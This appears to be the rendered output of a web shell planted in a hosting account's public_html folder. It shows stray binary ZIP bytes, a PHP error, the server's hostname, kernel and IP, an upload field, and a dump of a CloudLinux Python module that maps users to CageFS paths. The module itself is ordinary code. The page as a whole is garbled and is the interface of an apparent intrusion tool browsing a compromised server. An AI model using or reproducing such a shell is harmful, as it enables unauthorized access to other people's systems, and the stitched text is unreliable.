PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/telusvwg/public_html/da754d/index.php on line 8
$#$#$#

Dir : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/
Server: Linux premium279.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
IP: 66.29.132.192
Choose File :

Url:
Dir : //opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/fs.py

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import functools
import grp

import secureio
from clcommon import ClPwd

from .const import BASEDIR
from .exceptions import UserNotFoundError


def get_user_prefix(username) -> str:
    base = 100
    try:
        uid = secureio.clpwd.get_uid(username)
    except ClPwd.NoSuchUserException:
        raise UserNotFoundError(username)
    b = uid % base
    prefix = "%02d" % b
    return prefix


def get_var_cagefs_prefixed(username):
    prefix = get_user_prefix(username)
    return f"{BASEDIR}/{prefix}"


def get_user_var_cagefs_path(username):
    return f"{get_var_cagefs_prefixed(username)}/{username}/"


@functools.cache
def get_linksafe_gid() -> int | None:
    try:
        return grp.getgrnam('linksafe').gr_gid
    except KeyError:
        return None


def user_exists(user):
    return user in secureio.clpwd.get_user_dict()